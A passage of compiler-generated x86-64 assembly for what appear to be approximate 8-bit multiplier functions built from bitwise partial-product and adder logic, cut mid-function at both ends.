movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -16[rbp]
sal eax, 8
and ax, 256
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -14[rbp]
sal eax, 9
and ax, 512
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -12[rbp]
sal eax, 10
and ax, 1024
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -10[rbp]
sal eax, 11
and ax, 2048
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -8[rbp]
sal eax, 12
and ax, 4096
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -6[rbp]
sal eax, 13
and ax, 8192
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -4[rbp]
sal eax, 14
and ax, 16384
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -3[rbp]
sal eax, 15
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, WORD PTR -2[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size mul8_364, .-mul8_364
.globl mult8_cgp14ep_ep64716_wc9_2_csamrca
.type mult8_cgp14ep_ep64716_wc9_2_csamrca, @function
mult8_cgp14ep_ep64716_wc9_2_csamrca:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 2344
mov QWORD PTR -2456[rbp], rdi
mov QWORD PTR -2464[rbp], rsi
mov DWORD PTR -2444[rbp], 0
mov rax, QWORD PTR -2456[rbp]
shr rax, 2
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax
and rax, rdx
and eax, 1
mov QWORD PTR -2440[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 3
and rax, QWORD PTR -2464[rbp]
and eax, 1
mov QWORD PTR -2432[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 4
and rax, QWORD PTR -2464[rbp]
and eax, 1
mov QWORD PTR -2424[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 5
and rax, QWORD PTR -2464[rbp]
and eax, 1
mov QWORD PTR -2416[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 6
and rax, QWORD PTR -2464[rbp]
and eax, 1
mov QWORD PTR -2408[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 7
and rax, QWORD PTR -2464[rbp]
and eax, 1
mov QWORD PTR -2400[rbp], rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 2
and rax, QWORD PTR -2456[rbp]
and eax, 1
mov QWORD PTR -2392[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 3
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax
and rax, rdx
and eax, 1
mov QWORD PTR -2384[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 4
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax
and rax, rdx
and eax, 1
mov QWORD PTR -2376[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 5
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax
and rax, rdx
and eax, 1
mov QWORD PTR -2368[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 6
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax
and rax, rdx
and eax, 1
mov QWORD PTR -2360[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 7
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax
and rax, rdx
and eax, 1
mov QWORD PTR -2352[rbp], rax
mov rax, QWORD PTR -2440[rbp]
or rax, QWORD PTR -2392[rbp]
mov QWORD PTR -2344[rbp], rax
mov rax, QWORD PTR -2432[rbp]
and rax, QWORD PTR -2392[rbp]
mov QWORD PTR -2336[rbp], rax
mov rax, QWORD PTR -2432[rbp]
xor rax, QWORD PTR -2440[rbp]
mov QWORD PTR -2328[rbp], rax
mov rax, QWORD PTR -2432[rbp]
and rax, QWORD PTR -2440[rbp]
mov QWORD PTR -2320[rbp], rax
mov rax, QWORD PTR -2424[rbp]
xor rax, QWORD PTR -2384[rbp]
mov QWORD PTR -2312[rbp], rax
mov rax, QWORD PTR -2424[rbp]
and rax, QWORD PTR -2384[rbp]
mov QWORD PTR -2304[rbp], rax
mov rax, QWORD PTR -2416[rbp]
xor rax, QWORD PTR -2376[rbp]
mov QWORD PTR -2296[rbp], rax
mov rax, QWORD PTR -2416[rbp]
and rax, QWORD PTR -2376[rbp]
mov QWORD PTR -2288[rbp], rax
mov rax, QWORD PTR -2408[rbp]
xor rax, QWORD PTR -2368[rbp]
mov QWORD PTR -2280[rbp], rax
mov rax, QWORD PTR -2408[rbp]
and rax, QWORD PTR -2368[rbp]
mov QWORD PTR -2272[rbp], rax
mov rax, QWORD PTR -2400[rbp]
xor rax, QWORD PTR -2360[rbp]
mov QWORD PTR -2264[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 6
and rax, QWORD PTR -2464[rbp]
and eax, 1
mov QWORD PTR -2256[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 2
and rax, rdx
and eax, 1
mov QWORD PTR -2248[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 2
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 2
and rax, rdx
and eax, 1
mov QWORD PTR -2240[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 3
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 2
and rax, rdx
and eax, 1
mov QWORD PTR -2232[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 4
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 2
and rax, rdx
and eax, 1
mov QWORD PTR -2224[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 5
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 2
and rax, rdx
and eax, 1
mov QWORD PTR -2216[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 6
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 2
and rax, rdx
and eax, 1
mov QWORD PTR -2208[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 7
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 2
and rax, rdx
and eax, 1
mov QWORD PTR -2200[rbp], rax
mov rax, QWORD PTR -2328[rbp]
or rax, QWORD PTR -2248[rbp]
mov QWORD PTR -2192[rbp], rax
mov rax, QWORD PTR -2328[rbp]
and rax, QWORD PTR -2248[rbp]
mov QWORD PTR -2184[rbp], rax
mov rax, QWORD PTR -2248[rbp]
and rax, QWORD PTR -2336[rbp]
mov QWORD PTR -2176[rbp], rax
mov rax, QWORD PTR -2184[rbp]
or rax, QWORD PTR -2176[rbp]
mov QWORD PTR -2168[rbp], rax
mov rax, QWORD PTR -2312[rbp]
xor rax, QWORD PTR -2240[rbp]
mov QWORD PTR -2160[rbp], rax
mov rax, QWORD PTR -2312[rbp]
and rax, QWORD PTR -2240[rbp]
mov QWORD PTR -2152[rbp], rax
mov rax, QWORD PTR -2160[rbp]
and rax, QWORD PTR -2320[rbp]
mov QWORD PTR -2144[rbp], rax
mov rax, QWORD PTR -2160[rbp]
xor rax, QWORD PTR -2320[rbp]
mov QWORD PTR -2136[rbp], rax
mov rax, QWORD PTR -2152[rbp]
or rax, QWORD PTR -2144[rbp]
mov QWORD PTR -2128[rbp], rax
mov rax, QWORD PTR -2296[rbp]
xor rax, QWORD PTR -2232[rbp]
mov QWORD PTR -2120[rbp], rax
mov rax, QWORD PTR -2296[rbp]
and rax, QWORD PTR -2232[rbp]
mov QWORD PTR -2112[rbp], rax
mov rax, QWORD PTR -2120[rbp]
and rax, QWORD PTR -2304[rbp]
mov QWORD PTR -2104[rbp], rax
mov rax, QWORD PTR -2120[rbp]
xor rax, QWORD PTR -2304[rbp]
mov QWORD PTR -2096[rbp], rax
mov rax, QWORD PTR -2112[rbp]
or rax, QWORD PTR -2104[rbp]
mov QWORD PTR -2088[rbp], rax
mov rax, QWORD PTR -2280[rbp]
xor rax, QWORD PTR -2224[rbp]
mov QWORD PTR -2080[rbp], rax
mov rax, QWORD PTR -2280[rbp]
and rax, QWORD PTR -2224[rbp]
mov QWORD PTR -2072[rbp], rax
mov rax, QWORD PTR -2080[rbp]
and rax, QWORD PTR -2288[rbp]
mov QWORD PTR -2064[rbp], rax
mov rax, QWORD PTR -2080[rbp]
xor rax, QWORD PTR -2288[rbp]
mov QWORD PTR -2056[rbp], rax
mov rax, QWORD PTR -2072[rbp]
or rax, QWORD PTR -2064[rbp]
mov QWORD PTR -2048[rbp], rax
mov rax, QWORD PTR -2264[rbp]
xor rax, QWORD PTR -2216[rbp]
mov QWORD PTR -2040[rbp], rax
mov rax, QWORD PTR -2264[rbp]
and rax, QWORD PTR -2216[rbp]
mov QWORD PTR -2032[rbp], rax
mov rax, QWORD PTR -2040[rbp]
and rax, QWORD PTR -2272[rbp]
mov QWORD PTR -2024[rbp], rax
mov rax, QWORD PTR -2040[rbp]
xor rax, QWORD PTR -2272[rbp]
mov QWORD PTR -2016[rbp], rax
mov rax, QWORD PTR -2032[rbp]
or rax, QWORD PTR -2024[rbp]
mov QWORD PTR -2008[rbp], rax
mov rax, QWORD PTR -2352[rbp]
xor rax, QWORD PTR -2208[rbp]
mov QWORD PTR -2000[rbp], rax
mov rax, QWORD PTR -2352[rbp]
and rax, QWORD PTR -2208[rbp]
mov QWORD PTR -1992[rbp], rax
mov rax, QWORD PTR -2352[rbp]
and rax, QWORD PTR -2256[rbp]
mov QWORD PTR -1984[rbp], rax
mov rax, QWORD PTR -2000[rbp]
xor rax, QWORD PTR -1984[rbp]
mov QWORD PTR -1976[rbp], rax
mov rax, QWORD PTR -1992[rbp]
or rax, QWORD PTR -1984[rbp]
mov QWORD PTR -1968[rbp], rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 3
and rax, QWORD PTR -2456[rbp]
and eax, 1
mov QWORD PTR -1960[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 3
and rax, rdx
and eax, 1
mov QWORD PTR -1952[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 2
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 3
and rax, rdx
and eax, 1
mov QWORD PTR -1944[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 3
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 3
and rax, rdx
and eax, 1
mov QWORD PTR -1936[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 4
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 3
and rax, rdx
and eax, 1
mov QWORD PTR -1928[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 5
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 3
and rax, rdx
and eax, 1
mov QWORD PTR -1920[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 6
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 3
and rax, rdx
and eax, 1
mov QWORD PTR -1912[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 7
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 3
and rax, rdx
and eax, 1
mov QWORD PTR -1904[rbp], rax
mov rax, QWORD PTR -2192[rbp]
or rax, QWORD PTR -1960[rbp]
mov QWORD PTR -1896[rbp], rax
mov rax, QWORD PTR -1896[rbp]
xor rax, QWORD PTR -1960[rbp]
mov QWORD PTR -1888[rbp], rax
mov rax, QWORD PTR -2136[rbp]
xor rax, QWORD PTR -1952[rbp]
mov QWORD PTR -1880[rbp], rax
mov rax, QWORD PTR -2136[rbp]
and rax, QWORD PTR -1952[rbp]
mov QWORD PTR -1872[rbp], rax
mov rax, QWORD PTR -1880[rbp]
and rax, QWORD PTR -2168[rbp]
mov QWORD PTR -1864[rbp], rax
mov rax, QWORD PTR -1880[rbp]
xor rax, QWORD PTR -2168[rbp]
mov QWORD PTR -1856[rbp], rax
mov rax, QWORD PTR -1872[rbp]
or rax, QWORD PTR -1864[rbp]
mov QWORD PTR -1848[rbp], rax
mov rax, QWORD PTR -2096[rbp]
xor rax, QWORD PTR -1944[rbp]
mov QWORD PTR -1840[rbp], rax
mov rax, QWORD PTR -2096[rbp]
and rax, QWORD PTR -1944[rbp]
mov QWORD PTR -1832[rbp], rax
mov rax, QWORD PTR -1840[rbp]
and rax, QWORD PTR -2128[rbp]
mov QWORD PTR -1824[rbp], rax
mov rax, QWORD PTR -1840[rbp]
xor rax, QWORD PTR -2128[rbp]
mov QWORD PTR -1816[rbp], rax
mov rax, QWORD PTR -1832[rbp]
or rax, QWORD PTR -1824[rbp]
mov QWORD PTR -1808[rbp], rax
mov rax, QWORD PTR -2056[rbp]
xor rax, QWORD PTR -1936[rbp]
mov QWORD PTR -1800[rbp], rax
mov rax, QWORD PTR -2056[rbp]
and rax, QWORD PTR -1936[rbp]
mov QWORD PTR -1792[rbp], rax
mov rax, QWORD PTR -1800[rbp]
and rax, QWORD PTR -2088[rbp]
mov QWORD PTR -1784[rbp], rax
mov rax, QWORD PTR -1800[rbp]
xor rax, QWORD PTR -2088[rbp]
mov QWORD PTR -1776[rbp], rax
mov rax, QWORD PTR -1792[rbp]
or rax, QWORD PTR -1784[rbp]
mov QWORD PTR -1768[rbp], rax
mov rax, QWORD PTR -2016[rbp]
xor rax, QWORD PTR -1928[rbp]
mov QWORD PTR -1760[rbp], rax
mov rax, QWORD PTR -2016[rbp]
and rax, QWORD PTR -1928[rbp]
mov QWORD PTR -1752[rbp], rax
mov rax, QWORD PTR -1760[rbp]
and rax, QWORD PTR -2048[rbp]
mov QWORD PTR -1744[rbp], rax
mov rax, QWORD PTR -1760[rbp]
xor rax, QWORD PTR -2048[rbp]
mov QWORD PTR -1736[rbp], rax
mov rax, QWORD PTR -1752[rbp]
or rax, QWORD PTR -1744[rbp]
mov QWORD PTR -1728[rbp], rax
mov rax, QWORD PTR -1976[rbp]
xor rax, QWORD PTR -1920[rbp]
mov QWORD PTR -1720[rbp], rax
mov rax, QWORD PTR -1976[rbp]
and rax, QWORD PTR -1920[rbp]
mov QWORD PTR -1712[rbp], rax
mov rax, QWORD PTR -1720[rbp]
and rax, QWORD PTR -2008[rbp]
mov QWORD PTR -1704[rbp], rax
mov rax, QWORD PTR -1720[rbp]
xor rax, QWORD PTR -2008[rbp]
mov QWORD PTR -1696[rbp], rax
mov rax, QWORD PTR -1712[rbp]
or rax, QWORD PTR -1704[rbp]
mov QWORD PTR -1688[rbp], rax
mov rax, QWORD PTR -2200[rbp]
xor rax, QWORD PTR -1912[rbp]
mov QWORD PTR -1680[rbp], rax
mov rax, QWORD PTR -2200[rbp]
and rax, QWORD PTR -1912[rbp]
mov QWORD PTR -1672[rbp], rax
mov rax, QWORD PTR -1680[rbp]
and rax, QWORD PTR -1968[rbp]
mov QWORD PTR -1664[rbp], rax
mov rax, QWORD PTR -1680[rbp]
xor rax, QWORD PTR -1968[rbp]
mov QWORD PTR -1656[rbp], rax
mov rax, QWORD PTR -1672[rbp]
or rax, QWORD PTR -1664[rbp]
mov QWORD PTR -1648[rbp], rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 4
and rax, QWORD PTR -2456[rbp]
and eax, 1
mov QWORD PTR -1640[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 4
and rax, rdx
and eax, 1
mov QWORD PTR -1632[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 2
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 4
and rax, rdx
and eax, 1
mov QWORD PTR -1624[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 3
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 4
and rax, rdx
and eax, 1
mov QWORD PTR -1616[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 4
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 4
and rax, rdx
and eax, 1
mov QWORD PTR -1608[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 5
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 4
and rax, rdx
and eax, 1
mov QWORD PTR -1600[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 6
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 4
and rax, rdx
and eax, 1
mov QWORD PTR -1592[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 7
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 4
and rax, rdx
and eax, 1
mov QWORD PTR -1584[rbp], rax
mov rax, QWORD PTR -1856[rbp]
xor rax, QWORD PTR -1640[rbp]
mov QWORD PTR -1576[rbp], rax
mov rax, QWORD PTR -1856[rbp]
and rax, QWORD PTR -1640[rbp]
mov QWORD PTR -1568[rbp], rax
mov rax, QWORD PTR -1576[rbp]
and rax, QWORD PTR -1960[rbp]
mov QWORD PTR -1560[rbp], rax
mov rax, QWORD PTR -1576[rbp]
xor rax, QWORD PTR -1960[rbp]
mov QWORD PTR -1552[rbp], rax
mov rax, QWORD PTR -1568[rbp]
or rax, QWORD PTR -1560[rbp]
mov QWORD PTR -1544[rbp], rax
mov rax, QWORD PTR -1816[rbp]
xor rax, QWORD PTR -1632[rbp]
mov QWORD PTR -1536[rbp], rax
mov rax, QWORD PTR -1816[rbp]
and rax, QWORD PTR -1632[rbp]
mov QWORD PTR -1528[rbp], rax
mov rax, QWORD PTR -1536[rbp]
and rax, QWORD PTR -1848[rbp]
mov QWORD PTR -1520[rbp], rax
mov rax, QWORD PTR -1536[rbp]
xor rax, QWORD PTR -1848[rbp]
mov QWORD PTR -1512[rbp], rax
mov rax, QWORD PTR -1528[rbp]
or rax, QWORD PTR -1520[rbp]
mov QWORD PTR -1504[rbp], rax
mov rax, QWORD PTR -1776[rbp]
xor rax, QWORD PTR -1624[rbp]
mov QWORD PTR -1496[rbp], rax
mov rax, QWORD PTR -1776[rbp]
and rax, QWORD PTR -1624[rbp]
mov QWORD PTR -1488[rbp], rax
mov rax, QWORD PTR -1496[rbp]
and rax, QWORD PTR -1808[rbp]
mov QWORD PTR -1480[rbp], rax
mov rax, QWORD PTR -1496[rbp]
xor rax, QWORD PTR -1808[rbp]
mov QWORD PTR -1472[rbp], rax
mov rax, QWORD PTR -1488[rbp]
or rax, QWORD PTR -1480[rbp]
mov QWORD PTR -1464[rbp], rax
mov rax, QWORD PTR -1736[rbp]
xor rax, QWORD PTR -1616[rbp]
mov QWORD PTR -1456[rbp], rax
mov rax, QWORD PTR -1736[rbp]
and rax, QWORD PTR -1616[rbp]
mov QWORD PTR -1448[rbp], rax
mov rax, QWORD PTR -1456[rbp]
and rax, QWORD PTR -1768[rbp]
mov QWORD PTR -1440[rbp], rax
mov rax, QWORD PTR -1456[rbp]
xor rax, QWORD PTR -1768[rbp]
mov QWORD PTR -1432[rbp], rax
mov rax, QWORD PTR -1448[rbp]
or rax, QWORD PTR -1440[rbp]
mov QWORD PTR -1424[rbp], rax
mov rax, QWORD PTR -1696[rbp]
xor rax, QWORD PTR -1608[rbp]
mov QWORD PTR -1416[rbp], rax
mov rax, QWORD PTR -1696[rbp]
and rax, QWORD PTR -1608[rbp]
mov QWORD PTR -1408[rbp], rax
mov rax, QWORD PTR -1416[rbp]
and rax, QWORD PTR -1728[rbp]
mov QWORD PTR -1400[rbp], rax
mov rax, QWORD PTR -1416[rbp]
xor rax, QWORD PTR -1728[rbp]
mov QWORD PTR -1392[rbp], rax
mov rax, QWORD PTR -1408[rbp]
or rax, QWORD PTR -1400[rbp]
mov QWORD PTR -1384[rbp], rax
mov rax, QWORD PTR -1656[rbp]
xor rax, QWORD PTR -1600[rbp]
mov QWORD PTR -1376[rbp], rax
mov rax, QWORD PTR -1656[rbp]
and rax, QWORD PTR -1600[rbp]
mov QWORD PTR -1368[rbp], rax
mov rax, QWORD PTR -1376[rbp]
and rax, QWORD PTR -1688[rbp]
mov QWORD PTR -1360[rbp], rax
mov rax, QWORD PTR -1376[rbp]
xor rax, QWORD PTR -1688[rbp]
mov QWORD PTR -1352[rbp], rax
mov rax, QWORD PTR -1368[rbp]
or rax, QWORD PTR -1360[rbp]
mov QWORD PTR -1344[rbp], rax
mov rax, QWORD PTR -1904[rbp]
xor rax, QWORD PTR -1592[rbp]
mov QWORD PTR -1336[rbp], rax
mov rax, QWORD PTR -1904[rbp]
and rax, QWORD PTR -1592[rbp]
mov QWORD PTR -1328[rbp], rax
mov rax, QWORD PTR -1336[rbp]
and rax, QWORD PTR -1648[rbp]
mov QWORD PTR -1320[rbp], rax
mov rax, QWORD PTR -1336[rbp]
xor rax, QWORD PTR -1648[rbp]
mov QWORD PTR -1312[rbp], rax
mov rax, QWORD PTR -1328[rbp]
or rax, QWORD PTR -1320[rbp]
mov QWORD PTR -1304[rbp], rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 5
and rax, QWORD PTR -2456[rbp]
and eax, 1
mov QWORD PTR -1296[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 5
and rax, rdx
and eax, 1
mov QWORD PTR -1288[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 2
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 5
and rax, rdx
and eax, 1
mov QWORD PTR -1280[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 3
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 5
and rax, rdx
and eax, 1
mov QWORD PTR -1272[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 4
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 5
and rax, rdx
and eax, 1
mov QWORD PTR -1264[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 5
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 5
and rax, rdx
and eax, 1
mov QWORD PTR -1256[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 6
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 5
and rax, rdx
and eax, 1
mov QWORD PTR -1248[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 7
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 5
and rax, rdx
and eax, 1
mov QWORD PTR -1240[rbp], rax
mov rax, QWORD PTR -1512[rbp]
xor rax, QWORD PTR -1296[rbp]
mov QWORD PTR -1232[rbp], rax
mov rax, QWORD PTR -1512[rbp]
and rax, QWORD PTR -1296[rbp]
mov QWORD PTR -1224[rbp], rax
mov rax, QWORD PTR -1232[rbp]
and rax, QWORD PTR -1544[rbp]
mov QWORD PTR -1216[rbp], rax
mov rax, QWORD PTR -1232[rbp]
xor rax, QWORD PTR -1544[rbp]
mov QWORD PTR -1208[rbp], rax
mov rax, QWORD PTR -1224[rbp]
or rax, QWORD PTR -1216[rbp]
mov QWORD PTR -1200[rbp], rax
mov rax, QWORD PTR -1472[rbp]
xor rax, QWORD PTR -1288[rbp]
mov QWORD PTR -1192[rbp], rax
mov rax, QWORD PTR -1472[rbp]
and rax, QWORD PTR -1288[rbp]
mov QWORD PTR -1184[rbp], rax
mov rax, QWORD PTR -1192[rbp]
and rax, QWORD PTR -1504[rbp]
mov QWORD PTR -1176[rbp], rax
mov rax, QWORD PTR -1192[rbp]
xor rax, QWORD PTR -1504[rbp]
mov QWORD PTR -1168[rbp], rax
mov rax, QWORD PTR -1184[rbp]
or rax, QWORD PTR -1176[rbp]
mov QWORD PTR -1160[rbp], rax
mov rax, QWORD PTR -1432[rbp]
xor rax, QWORD PTR -1280[rbp]
mov QWORD PTR -1152[rbp], rax
mov rax, QWORD PTR -1432[rbp]
and rax, QWORD PTR -1280[rbp]
mov QWORD PTR -1144[rbp], rax
mov rax, QWORD PTR -1152[rbp]
and rax, QWORD PTR -1464[rbp]
mov QWORD PTR -1136[rbp], rax
mov rax, QWORD PTR -1152[rbp]
xor rax, QWORD PTR -1464[rbp]
mov QWORD PTR -1128[rbp], rax
mov rax, QWORD PTR -1144[rbp]
or rax, QWORD PTR -1136[rbp]
mov QWORD PTR -1120[rbp], rax
mov rax, QWORD PTR -1392[rbp]
xor rax, QWORD PTR -1272[rbp]
mov QWORD PTR -1112[rbp], rax
mov rax, QWORD PTR -1392[rbp]
and rax, QWORD PTR -1272[rbp]
mov QWORD PTR -1104[rbp], rax
mov rax, QWORD PTR -1112[rbp]
and rax, QWORD PTR -1424[rbp]
mov QWORD PTR -1096[rbp], rax
mov rax, QWORD PTR -1112[rbp]
xor rax, QWORD PTR -1424[rbp]
mov QWORD PTR -1088[rbp], rax
mov rax, QWORD PTR -1104[rbp]
or rax, QWORD PTR -1096[rbp]
mov QWORD PTR -1080[rbp], rax
mov rax, QWORD PTR -1352[rbp]
xor rax, QWORD PTR -1264[rbp]
mov QWORD PTR -1072[rbp], rax
mov rax, QWORD PTR -1352[rbp]
and rax, QWORD PTR -1264[rbp]
mov QWORD PTR -1064[rbp], rax
mov rax, QWORD PTR -1072[rbp]
and rax, QWORD PTR -1384[rbp]
mov QWORD PTR -1056[rbp], rax
mov rax, QWORD PTR -1072[rbp]
xor rax, QWORD PTR -1384[rbp]
mov QWORD PTR -1048[rbp], rax
mov rax, QWORD PTR -1064[rbp]
or rax, QWORD PTR -1056[rbp]
mov QWORD PTR -1040[rbp], rax
mov rax, QWORD PTR -1312[rbp]
xor rax, QWORD PTR -1256[rbp]
mov QWORD PTR -1032[rbp], rax
mov rax, QWORD PTR -1312[rbp]
and rax, QWORD PTR -1256[rbp]
mov QWORD PTR -1024[rbp], rax
mov rax, QWORD PTR -1032[rbp]
and rax, QWORD PTR -1344[rbp]
mov QWORD PTR -1016[rbp], rax
mov rax, QWORD PTR -1032[rbp]
xor rax, QWORD PTR -1344[rbp]
mov QWORD PTR -1008[rbp], rax
mov rax, QWORD PTR -1024[rbp]
or rax, QWORD PTR -1016[rbp]
mov QWORD PTR -1000[rbp], rax
mov rax, QWORD PTR -1584[rbp]
xor rax, QWORD PTR -1248[rbp]
mov QWORD PTR -992[rbp], rax
mov rax, QWORD PTR -1584[rbp]
and rax, QWORD PTR -1248[rbp]
mov QWORD PTR -984[rbp], rax
mov rax, QWORD PTR -992[rbp]
and rax, QWORD PTR -1304[rbp]
mov QWORD PTR -976[rbp], rax
mov rax, QWORD PTR -992[rbp]
xor rax, QWORD PTR -1304[rbp]
mov QWORD PTR -968[rbp], rax
mov rax, QWORD PTR -984[rbp]
or rax, QWORD PTR -976[rbp]
mov QWORD PTR -960[rbp], rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 6
and rax, QWORD PTR -2456[rbp]
and eax, 1
mov QWORD PTR -952[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 6
and rax, rdx
and eax, 1
mov QWORD PTR -944[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 2
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 6
and rax, rdx
and eax, 1
mov QWORD PTR -936[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 3
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 6
and rax, rdx
and eax, 1
mov QWORD PTR -928[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 4
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 6
and rax, rdx
and eax, 1
mov QWORD PTR -920[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 5
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 6
and rax, rdx
and eax, 1
mov QWORD PTR -912[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 6
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 6
and rax, rdx
and eax, 1
mov QWORD PTR -904[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 7
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 6
and rax, rdx
and eax, 1
mov QWORD PTR -896[rbp], rax
mov rax, QWORD PTR -1168[rbp]
xor rax, QWORD PTR -952[rbp]
mov QWORD PTR -888[rbp], rax
mov rax, QWORD PTR -1168[rbp]
and rax, QWORD PTR -952[rbp]
mov QWORD PTR -880[rbp], rax
mov rax, QWORD PTR -888[rbp]
and rax, QWORD PTR -1200[rbp]
mov QWORD PTR -872[rbp], rax
mov rax, QWORD PTR -888[rbp]
xor rax, QWORD PTR -1200[rbp]
mov QWORD PTR -864[rbp], rax
